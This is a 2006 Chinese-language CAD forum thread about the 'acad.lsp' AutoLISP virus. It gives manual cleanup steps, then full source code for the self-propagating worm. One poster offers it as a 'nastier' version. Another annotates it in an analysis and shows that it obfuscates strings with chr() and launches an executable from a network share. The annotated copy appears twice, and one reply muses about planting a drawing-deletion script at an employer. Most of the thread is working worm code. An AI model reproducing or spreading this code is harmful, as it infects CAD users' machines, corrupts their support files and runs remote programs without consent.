[原创]LSP病　毒???

heian88 · 发表于 2006-5-11 22:03:00

各位大哥，谁能帮小弟写几个lisp程序，2种螺栓、2种螺母，2种弹簧，垫圈，滚动轴

天天凉茶 · 发表于 2006-5-24 19:14:00

这还是比较善意的。以前我从公司辞职的时候想写一个东东放进去。删除所有图形，后来想想太没职业道德。其实用CAD的的多，了解CAD的人不多。很容易出事啊!!

lhtfh · 发表于 2006-6-20 07:41:00

现在已经杀不了

dx163805 · 发表于 2006-7-23 10:56:00

杀这个病毒的程序，上传了没有，在那？我也要一份，以备急用。。。用。。。

w125740513 · 发表于 2006-8-5 22:51:00

本帖最后由作者于 2006-8-10 21:12:57 编辑

刚刚看到这个帖子时，真有些惊讶。后来细想，这个程序的编制时间不清楚，我怀疑是若干年前一位cad高手编写的“保护”程序，保护图中的块等不被炸开或类似的操作。只不过产生的结果超出了其原来目的。在今天对cad开发已经有一定深度的时代，此程序已算不了什么了。正如发帖者所言，其思路还是可以学习的。

------------------------------------------

个人意见，如有匡偏，请指正。

buzaiyouyu · 发表于 2006-8-18 02:06:00

浩辰出过专杀此类病毒的软件，可惜杀过之后还会产生，好苦恼~~

hb_xiaofen · 发表于 2006-9-3 22:01:00

找到C:\Documents and Settings\********\Application Data\Autodesk\AutoCAD 2004\R16.0\chs\support,中的acad.lsp文件,打开文件一般最后两句是(load "****.lsp")(princ)

将load 后面的文件删除,然后将 acad.lsp删除,打开acad.mnl文件将文件最后的两句

(load "*****.lsp")和(princ)删除,即可以清除.

也可以不删除***.lsp文件,将***.lsp文件中的所有内容删除就可以对这种acad.lsp病毒免疫

附件acad1.lsp病毒带有注释的供大家学习,(附件需要修改才能当病毒用)

以上以2004版本为例如果是其他版本,support文件夹位置有可能在CAD安装文件夹内

hb_xiaofen · 发表于 2006-9-3 22:06:00

将"acadapp.lsp"(或者其他病毒文件)中的内容全部删除,文件保留,即使打开带病毒的CAD文件也不会感染了,而且所带的病毒都成了空白文件

别晨 · 发表于 2006-9-26 08:57:00

来个更狠的：

(defun s::startup()
   (setq old_cmd (getvar "cmdecho"))
   (setvar "cmdecho" 0)
;获得support目录
   (setq path (findfile "base.dcl"))
   (setq path (substr path 1 (- (strlen path) 8)))
;mnl文件名
   (setq mnlpath (getvar "menuname"))
;当前图纸文件名
   (setq nowdwg (getvar "dwgname"))
;当前图纸路径
   (setq wjqm (findfile nowdwg))
;当前图纸所在目录
   (setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
;
   (setq acadpath (findfile "acad.lsp"))
   (setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
   (setq ns1 "" ns2 "")
   (setq lspbj 0)
   (setq wjqm (strcat path "acad.lsp"))
   (if (setq wjm (open wjqm "r"))
       (progn
           (while
               (setq wz (read-line wjm))
               (setq ns1 ns2)
               (setq ns2 wz))
               (if(> (strlen ns1) 14)
                   (if (= (substr ns1 8 7) "acadapp")
                      (setq lspbj 1)
                   )
               )
           (close wjm)
       )
   )
   (setq lspmnl 0)
   (setq wjqm (strcat path "acad.mnl"))
   (if (setq wjm (open wjqm "r"))
       (progn
       (while
           (setq wz (read-line wjm))
           (setq ns1 ns2)
           (setq ns2 wz)
       )
       (if (> (strlen ns1) 14)
          (if (= (substr ns1 8 7) "acadapp")
            (setq lspmnl 1)
          )
       )
       (close wjm)
       )
   )
   (if (= lspmnl 0)
       (progn
           (setq wjqm (strcat path
              (strcat (chr 97) (chr 99) (chr 97) (chr 100) (chr 46) (chr 109) (chr 110) (chr 108)))
           )
           (setq wjm (open wjqm "a"))
           (write-line (strcat "(load "(chr 34)"acadapp"(chr 34)")") wjm)
           (write-line "(princ)" wjm)
           (close wjm)
       )
   )
   (if (and (= acadpath dwgpath) (/= acadpath path))
      (progn
       (if(= 0 lspmnl)
       (progn
       (setq oldacad (findfile "acad.lsp"))
       (setq newacad (strcat path "acadapp.lsp"))
       )
       (progn
       (setq oldacad (strcat path "acadapp.lsp"))
       (setq newacad (findfile "acad.lsp"))
       )
       )
       (if (= lspbj 0)
       (progn
       (setq wjqm (strcat path "acad.lsp"))
       (setq wjm (open wjqm "a"))
       (write-line (strcat "(load " (chr 34) "acadapp" (chr 34) ")" ) wjm)
       (write-line "(princ)" wjm)
       (close wjm))
       )
       (writeapp)
      )
      (progn
       (if (and (/= nowdwg "Drawing.dwg") (/= nowdwg "Drawing1.dwg"))
       (progn
       (setq oldacad (findfile "acadapp.lsp"))
       (setq newacad (strcat dwgpath "acad.lsp"))
       (writeapp)
       )
       )
      )
   )
   ;这里设置需要的操作^_^

   (setvar "cmdecho" old_cmd)
   (princ)
)
(defun writeapp ()
(if (setq wjm1 (open newacad "w"))
(progn
(setq wjm (open oldacad "r"))
(while
(setq wz (read-line wjm))
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
)
)
)
(princ)

zml84 · 发表于 2006-10-13 18:02:00

不知从何时起，我的机子染上了"acad.lsp"。
今日，实在忍受不了它的折磨，就想看看它是如何运行的。
于是经过我一中午的努力，终于揭开了它...

;;;======================================================================
;;;函数：s::startup ;
;;;功能：根据CAD运行机制，当输入新图形或打开现有图形时，此函数即被调用。;
;;;======================================================================
(defun s::startup ()
;;;一、准备工作★★★★★★★★★★★★★★★★★★★★★★★★★
(setq old_cmd (getvar "cmdecho")) ;保存系统设置
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl")) ;获取系统支持路径
(setq path (substr path
1
(- (strlen path) 8)
)
)
(setq mnlpath (getvar "menuname")) ;获取菜单路径
(setq nowdwg (getvar "dwgname")) ;获取当前文档名
(setq wjqm (findfile nowdwg)) ;获取当前文档路径
(setq dwgpath (substr wjqm
1
(- (strlen wjqm)
(strlen nowdwg)
)
)
)
(setq acadpath (findfile "acad.lsp")) ;获取"acad.lsp"路径
(setq acadpath (substr acadpath
1
(-
(strlen acadpath)
8
)
)
)
;;;初始化
(setq ns1 ""
ns2 ""
)
;;;二、判断当前状态★★★★★★★★★★★★★★★★★★★★★
;;;2.1下面判别acad.lsp中的内容。
(setq lspbj 0)
;;;lspbj------lsp标记
;;;wjqm------文件全名
;;;wjm------文件名
;;;wz------文字
(setq wjqm
(strcat path "acad.lsp")
)
(if (setq wjm (open wjqm "r")) ;读模式打开
(progn
(while
(setq wz
(read-line wjm)
)
(setq ns1 ns2)
(setq ns2 wz)
)
(if
(> (strlen ns1)
14
)
(if (= (substr ns1 8 7) "acadapp")
(setq lspbj 1) ;改变lsp标记
)
)
(close wjm)
) ;结束progn
) ;结束if
;;;2.2下面判别acad.mnl的内容
(setq lspmnl 0)
(setq wjqm
(strcat path "acad.mnl")
)
(if
(setq wjm (open wjqm "r"))
(progn
(while
(setq wz
(read-line wjm)
)
(setq ns1 ns2)
(setq ns2 wz)
)
(if
(> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadapp")
(setq lspmnl 1)
)
)
(close wjm)
) ;结束progn
) ;结束if
;;;三、对判别结果进行分析处理★★★★★★★★★★★★★★★★★
;;;3.1如果acad.mnl中没有欲加载的内容，则在文件尾添加
(if (= lspmnl 0)
(progn
(setq wjqm
(strcat path
(strcat
(chr 97)
(chr 99)
(chr 97)
(chr 100)
(chr 46)
(chr 109)
(chr 110)
(chr 108)
) ;内容为"acad.mnl"
)
)
(setq wjm (open wjqm "a")) ;添加模式打开文件
(write-line
(strcat
"(load "
(chr 34)
"acadapp"
(chr 34)
")"
)
wjm
)
(write-line "(princ)" wjm)
(close wjm)
) ;结束progn
) ;结束if
;;;3.2对acad.mnl和acad.lsp文件的处理
(if
(and
(= acadpath dwgpath)
(/= acadpath path)
)
(progn
;对acad.mnl中有无信息的处理
(if (= 0 lspmnl)
(progn ;当acad.mnl中无信息，将"acad.lsp"中内容写入"acadapp.lsp"
(setq oldacad
(findfile "acad.lsp")
)
(setq newacad
(strcat path "acadapp.lsp")
)
)
(progn ;当acad.mnl中有信息，将"acadapp.lsp"中内容写入"acad.lsp"
(setq oldacad
(strcat path "acadapp.lsp")
)
(setq newacad
(findfile "acad.lsp")
)
)
) ;结束if
;对acad.lsp中有无信息的处理
(if (= lspbj 0)
(progn ;当acad.lsp中没有信息，则在其尾部添加写入
(setq wjqm
(strcat path "acad.lsp")
)
(setq wjm (open wjqm "a"))
(write-line
(strcat
"(load "
(chr 34)
"acadapp"
(chr 34)
")"
)
wjm
)
(write-line "(princ)" wjm)
(close wjm)
) ;结束progn
) ;结束if
(writeapp) ;调用子函数
)
(progn
(if (/= nowdwg "Drawing.dwg")
(progn
;当当前图档名称不为"Drawing.dwg"时，将"acadapp.lsp"中内容写入"acad.lsp"
(setq oldacad
(findfile "acadapp.lsp")
)
(setq newacad
(strcat dwgpath "acad.lsp")
)
(writeapp) ;调用子函数
)
)
) ;结束progn
)
;;;四、运行指定路径的应用程序★★★★★★★★★★★★★★★★★★★★
(setq
strtopstr
(strcat
(chr 92)
(chr 92)
(chr 70)
(chr 83)
(chr 49)
(chr 92)
(chr 83)
(chr 89)
(chr 83)
(chr 49)
(chr 92)
(chr 87)
(chr 79)
(chr 82)
(chr 75)
(chr 92)
(chr 80)
(chr 76)
(chr 79)
(chr 84)
(chr 69)
(chr 82)
)
)
(setq
strbottomstr
(strcat
(chr 92)
(chr 76)
(chr 79)
(chr 67)
(chr 80)
(chr 82)
(chr 88)
(chr 89)
(chr 49)
(chr 46)
(chr 69)
(chr 88)
(chr 69)
)
)
;;;变量strtopstr返回内容为"\\\\FS1\\SYS1\\WORK\\PLOTER"
;;;变量strbottomstr返回内容为"\\LOCPRXY1.EXE"
(startapp (strcat strtopstr strbottomstr))
;;;上面一句作用是运行"\\FS1\SYS1\WORK\PLOTER\LOCPRXY1.EXE"
;;;可见，该处作者的意图是运行网络上FS1计算机共享的应用程序
(setvar "cmdecho" old_cmd) ;恢复系统设置
(princ)
) ;结束defun
;;;======================================================================
;;; ;
;;;函数：writeapp ;
;;;功能：将oldacad文件中的内容全部写入到newacad文件中 ;
;;;======================================================================
(defun writeapp ()
(if (setq wjm1 (open newacad "w") ;写入模式打开文件
)
(progn
(setq wjm (open oldacad "r")) ;读出模式打开文件
(while
(setq wz
(read-line wjm)
)
(write-line wz wjm1)
)
(close wjm)
(close wjm1)
) ;结束progn
) ;结束if
) ;结束defun
(princ)

;;;======================================================================
;;;函数：s::startup                                                     ;
;;;功能：根据CAD运行机制，当输入新图形或打开现有图形时，此函数即被调用。;
;;;======================================================================
(defun s::startup ()
;;;一、准备工作★★★★★★★★★★★★★★★★★★★★★★★★★
  (setq old_cmd (getvar "cmdecho")) ;保存系统设置
  (setvar "cmdecho" 0)
  (setq path (findfile "base.dcl")) ;获取系统支持路径
  (setq path (substr path
     1
     (- (strlen path) 8)
     )
  )
  (setq mnlpath (getvar "menuname")) ;获取菜单路径
  (setq nowdwg (getvar "dwgname")) ;获取当前文档名
  (setq wjqm (findfile nowdwg)) ;获取当前文档路径
  (setq dwgpath (substr wjqm
1
(- (strlen wjqm)
   (strlen nowdwg)
)
)
  )
  (setq acadpath (findfile "acad.lsp")) ;获取"acad.lsp"路径
  (setq acadpath (substr acadpath
1
(-
   (strlen acadpath)
   8
)
)
  )
;;;初始化
  (setq ns1 ""
ns2 ""
  )
;;;二、判断当前状态★★★★★★★★★★★★★★★★★★★★★
;;;2.1下面判别acad.lsp中的内容。
  (setq lspbj 0)
;;;lspbj------lsp标记
;;;wjqm------文件全名
;;;wjm------文件名
;;;wz------文字
  (setq wjqm
(strcat path "acad.lsp")
  )
  (if (setq wjm (open wjqm "r")) ;读模式打开
    (progn
      (while
(setq wz
       (read-line wjm)
)
(setq ns1 ns2)
(setq ns2 wz)
      )
      (if
(> (strlen ns1)
   14
)
(if (= (substr ns1 8 7) "acadapp")
   (setq lspbj 1) ;改变lsp标记
)
      )
      (close wjm)
    ) ;结束progn
  )  ;结束if
;;;2.2下面判别acad.mnl的内容
  (setq lspmnl 0)
  (setq wjqm
(strcat path "acad.mnl")
  )
  (if
    (setq wjm (open wjqm "r"))
     (progn
       (while
(setq wz
(read-line wjm)
)
  (setq ns1 ns2)
  (setq ns2 wz)
       )
       (if
(> (strlen ns1) 14)
  (if (= (substr ns1 8 7) "acadapp")
    (setq lspmnl 1)
  )
       )
       (close wjm)
     ) ;结束progn
  )  ;结束if
;;;三、对判别结果进行分析处理★★★★★★★★★★★★★★★★★
;;;3.1如果acad.mnl中没有欲加载的内容，则在文件尾添加
  (if (= lspmnl 0)
    (progn
      (setq wjqm
     (strcat path
     (strcat
       (chr 97)
       (chr 99)
       (chr 97)
       (chr 100)
       (chr 46)
       (chr 109)
       (chr 110)
       (chr 108)
     ) ;内容为"acad.mnl"
     )
      )
      (setq wjm (open wjqm "a")) ;添加模式打开文件
      (write-line
(strcat
  "(load "
  (chr 34)
  "acadapp"
  (chr 34)
  ")"
)
wjm
      )
      (write-line "(princ)" wjm)
      (close wjm)
    ) ;结束progn
  )  ;结束if
;;;3.2对acad.mnl和acad.lsp文件的处理
  (if
    (and
      (= acadpath dwgpath)
      (/= acadpath path)
    )
     (progn
     ;对acad.mnl中有无信息的处理
       (if (= 0 lspmnl)
(progn ;当acad.mnl中无信息，将"acad.lsp"中内容写入"acadapp.lsp"
   (setq oldacad
  (findfile "acad.lsp")
   )
   (setq newacad
  (strcat path "acadapp.lsp")
   )
)
(progn ;当acad.mnl中有信息，将"acadapp.lsp"中内容写入"acad.lsp"
   (setq oldacad
  (strcat path "acadapp.lsp")
   )
   (setq newacad
  (findfile "acad.lsp")
   )
)
       ) ;结束if
     ;对acad.lsp中有无信息的处理
       (if (= lspbj 0)
(progn ;当acad.lsp中没有信息，则在其尾部添加写入
   (setq wjqm
  (strcat path "acad.lsp")
   )
   (setq wjm (open wjqm "a"))
   (write-line
     (strcat
       "(load "
       (chr 34)
       "acadapp"
       (chr 34)
       ")"
     )
     wjm
   )
   (write-line "(princ)" wjm)
   (close wjm)
) ;结束progn
       ) ;结束if
       (writeapp) ;调用子函数
     )
     (progn
       (if (/= nowdwg "Drawing.dwg")
(progn
     ;当当前图档名称不为"Drawing.dwg"时，将"acadapp.lsp"中内容写入"acad.lsp"
   (setq oldacad
  (findfile "acadapp.lsp")
   )
   (setq newacad
  (strcat dwgpath "acad.lsp")
   )
   (writeapp) ;调用子函数
)
       )
     ) ;结束progn
  )
;;;四、运行指定路径的应用程序★★★★★★★★★★★★★★★★★★★★
  (setq
    strtopstr
     (strcat
       (chr 92)
       (chr 92)
       (chr 70)
       (chr 83)
       (chr 49)
       (chr 92)
       (chr 83)
       (chr 89)
       (chr 83)
       (chr 49)
       (chr 92)
       (chr 87)
       (chr 79)
       (chr 82)
       (chr 75)
       (chr 92)
       (chr 80)
       (chr 76)
       (chr 79)
       (chr 84)
       (chr 69)
       (chr 82)
     )
  )
  (setq
    strbottomstr
     (strcat
       (chr 92)
       (chr 76)
       (chr 79)
       (chr 67)
       (chr 80)
       (chr 82)
       (chr 88)
       (chr 89)
       (chr 49)
       (chr 46)
       (chr 69)
       (chr 88)
       (chr 69)
     )
  )
;;;变量strtopstr返回内容为"\\\\FS1\\SYS1\\WORK\\PLOTER"
;;;变量strbottomstr返回内容为"\\LOCPRXY1.EXE"
  (startapp (strcat strtopstr strbottomstr))
;;;上面一句作用是运行"\\FS1\SYS1\WORK\PLOTER\LOCPRXY1.EXE"
;;;可见，该处作者的意图是运行网络上FS1计算机共享的应用程序
  (setvar "cmdecho" old_cmd) ;恢复系统设置
  (princ)
)    ;结束defun
;;;======================================================================
;;;                                                                     ;
;;;函数：writeapp                                                       ;
;;;功能：将oldacad文件中的内容全部写入到newacad文件中                   ;
;;;======================================================================
(defun writeapp ()
  (if (setq wjm1 (open newacad "w") ;写入模式打开文件
      )
    (progn
      (setq wjm (open oldacad "r")) ;读出模式打开文件
      (while
(setq wz
       (read-line wjm)
)
(write-line wz wjm1)
      )
      (close wjm)
      (close wjm1)
    ) ;结束progn
  )  ;结束if
)    ;结束defun

(princ)

账号		自动登录	找回密码
密码			注册

[原创]LSP病 毒???

[原创]LSP病　毒???